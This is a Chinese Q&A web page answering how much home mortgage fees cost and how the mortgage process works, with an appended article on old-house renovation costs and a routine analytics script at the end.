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邓鸿云

买房按揭费用一般需要多少?有朋友能帮忙说下这个吗

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共有2条回答

胡兰蕙 有用 1

房按揭贷款手续费一般包括抵押手续费、登记费、档案利用费等。住房按揭贷款手续费收取多少要看在哪家银行贷款,一般按揭公司的收费都在1500-2000左右;但如果在中介公司的房屋成交的按揭收费一般都会收“贷款额*1.2%”的费用。不过也有城市对住房按揭贷款手续费各个部分的收取标准有明确的规定,以衡阳市为例,房屋按揭贷款需要缴的规费:
一、抵押手续费
(1)住宅抵押手续费:0.3%;
(2)非住宅抵押手续费:0.2%;(按抵押金额计算);
二、登记费:
(1)、住宅:80元/套;
(2)非住宅:550元/间;
三、档案利用费:40元/宗。以上价格来源于网络,仅供参考

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闵芳茵 有用 1

随着房价上涨,越来越多的人选择了按揭搜索买房,不仅缓解了买房的时的经济压力,还能提前享受到家的温馨。然而,又有多少购房人知道按揭买房的各项程序了,难道你还认为一切交给开发商们去处理就能万无一失了吗如果是这样,就不好出现那么的买房纠纷了。建议大家都做个精明的买房人,在了解清楚“买房游戏规则”之后再入场。你知道什么是按揭吗所谓按揭是指购房者向开发商购买房屋时,先预付购房款的一部分(一般为30%-50%),其余房价款向银行贷款,而以购房合同项下的房地产及其相关权益抵押给银行做为还贷的保证,并由开发商为购房者作担保的行为。你知道按揭需要什么样的办理程序吗购房者选择按揭买房时,需向提供按揭的银行(贷款行)提供以下资料:
1、具有法律效力的身份证明。
2、固定经济收入证明。
3、经房地产管理部门见证的商品房买卖契约正本。
4、贷款行要求的其他文件。银行对购房者提供的资料进行真实性、可靠性、合法性审查。审查合格后,由贷款行、开发商和购房者签订《房地产抵押(按揭)合同》、《楼宇按揭贷款合同》(此合同必须进行公证或律师见证,由此发生的费用由购房者承担)。三方共同去房地产管理部门办理购房贷款抵押(按揭)登记。其中,购房者应提交如下证件:
1、房地产管理部门见证的商品房买卖契约正本。
2、身份证明复印件。
3、依此生效的楼宇按揭贷款合同。
4、抵押申请表及抵押合同原件。
5、委托他人代为登记的,需提交有效的授权委托书原件。

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很旧很多房子在住了十年以上的时候都会变得老旧,并且容易出现很多问题,虽然问题并不算严重,不过也会降低生活质量,所以都很多人会对房屋进行装修,旧房装修一般费用都花在了哪里也是人们所要关心的问题。其实旧房装修一般费用都是花在了墙面、水管、门窗这几个大方面的。旧房装修一般费用是多少一般来说,在装修的时候墙面是需要着重处理的,因为很多旧房子都会出现墙体开裂的情况,有些墙在住了很多年之后就会开始出现落灰和掉粉的情况,这时候就应该对墙体的基层进行处理,如果没有出现这种情况的话基本上会采用贴壁纸的方法,每平方需要十几元左右。家庭中水路管网的改造是很多旧房装修一般费用的来源,目前市场上边水路的价格大概为每平方米九十元到一百元左右,除此之外门窗的更换和电路的重新布置也会花费一定的价格。现在很多装修时的人工价格达到了180元每平方米,而材料费也在300到五百之间,可以根据家中房屋的面积计算所需费用。降低装修费用的小细节在旧房装修时可以找出原来能够利用的地方,在进行装修时就可以不必改动,维持现状,这样也可以更好的计算旧房装修的一般费用。原来的墙体也可以直接的进行贴壁纸处理,不用比耗费人工铲除原来的的墙面,增加成本。而且有一些墙面还是保存完好的,这时候装修只要稍微整动一下就可以了。其实旧房装修一般费用的多少还是根据实际情况来定的,而且如果可以记住这些小技巧的话,也能够减少很多不必要的花费,也能够更好的去计算旧房装修的一般费用。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

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